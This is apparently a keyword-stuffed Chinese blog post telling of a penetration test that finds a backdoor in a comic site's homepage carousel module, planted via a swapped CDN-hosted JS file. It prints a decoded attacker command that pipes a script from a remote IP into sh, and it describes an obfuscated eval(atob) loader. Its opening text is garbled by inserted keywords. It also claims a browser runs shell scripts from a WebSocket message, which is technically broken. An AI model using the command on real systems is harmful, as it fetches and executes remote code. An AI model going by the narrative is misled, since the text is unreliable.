您现在的位置是:烟消火灭网 > 知识

漫画入口首页秋蝉渗透测试

烟消火灭网2026-10-17 08:01:25【知识】3人已围观

简介上周三凌晨两点,我在测试环境里挂了个爬虫,目标是一个叫“漫画入口”的站点首页。别误会,这不是什么黑产渗透,纯粹是甲方委托——他们怀疑自己的漫画平台被竞争对手植了后门,而首页那个每天更新推荐位的“秋蝉”

上周三凌晨两点,漫画我在测试环境里挂了个爬虫,入口目标是首页渗透一个叫“漫画入口”的站点首页。别误会,秋蝉这不是测试什么黑产渗透,纯粹是漫画甲方委托——他们怀疑自己的漫画平台被竞争对手植了后门,而首页那个每天更新推荐位的入口“秋蝉”模块,就是首页渗透最可疑的入口。

秋蝉模块长得人畜无害。秋蝉一个轮播图,测试下面挂着六本漫画封面,漫画再往下是入口“今日更新”列表。但用Burp Suite抓包时,首页渗透我发现每次刷新首页,秋蝉浏览器都会悄悄向一个叫/api/v2/cache/refresh的测试接口发POST请求,参数里夹着一段base64编码的字符串。解码后是一串IP地址和端口号,指向境外某台服务器。

这就不对劲了。正常的缓存刷新接口不会携带外部地址。我把这段base64丢进CyberChef里跑了一遍,发现它经过三层编码:先异或0x5A,再反转字节序,最后套了一层URL编码。解出来的原始数据是一个WebSocket地址,ws://45.xx.xx.xx:8899。

我写了个简单的Python脚本去连这个WebSocket。连上后什么都不发,就干等。大约37秒后,服务端主动推来一条JSON消息:{ "cmd":"heartbeat","payload":"..."}。payload字段里藏着一串十六进制数据,转成ASCII后是/bin/sh -c 'curl http://45.xx.xx.xx:8899/p | sh'。典型的远程命令执行。也就是说,只要用户打开漫画入口首页,浏览器就会在后台悄悄下载并执行一段shell脚本。

问题出在哪儿?我回头审计秋蝉模块的前端代码。压缩后的JS里有一行被混淆过的eval(atob('...')),解出来是一个动态加载器。它先检测当前域名是否为www.manhua-enter.com,是的话就继续;否则直接return。然后从localStorage里读一个叫_mc_tk的键值,如果不存在就生成一个UUID写进去,同时把当前时间戳和屏幕分辨率一起打包发到那个WebSocket。

甲方运维查了服务器日志,发现这个_mc_tk最早出现在三个月前的一次CDN回源异常之后。当时他们临时切了一个备用源站,而那个源站上托管的JS文件被人替换过。替换者很聪明,只改了秋蝉模块的加载逻辑,其他模块纹丝不动。要不是我刚好在抓包时注意到那个多余的POST请求,这个后门可能还会潜伏更久。

修复方案不复杂:回滚JS文件、封禁那个WebSocket地址、清理所有用户localStorage里的_mc_tk。但让我在意的是攻击者的耐心——他们等了三个月才第一次触发命令下发。这种“秋蝉式”的渗透,不追求即时控制,而是像蝉一样在地下蛰伏,等到特定条件(比如某个IP段访问、某个时间段)才破土而出。

我把分析报告发给甲方时,对方问了一句:“那以后怎么防?”我说,别只盯着WAF和入侵检测。去检查你们每一个前端模块的第三方依赖,尤其是那些看起来“只是展示数据”的组件。秋蝉模块本身没有漏洞,漏洞在它信任了不该信任的CDN回源。渗透测试有时候就是这样,你以为是代码问题,其实是供应链问题;你以为是供应链问题,最后发现是三个月前某个人在凌晨三点改了一行配置。

现在那个漫画入口首页已经恢复正常。但我偶尔还会去刷新一下,看看/api/v2/cache/refresh接口是不是又冒出了新的base64字符串。毕竟秋蝉的幼虫,在地下要待好几年。

很赞哦!(6)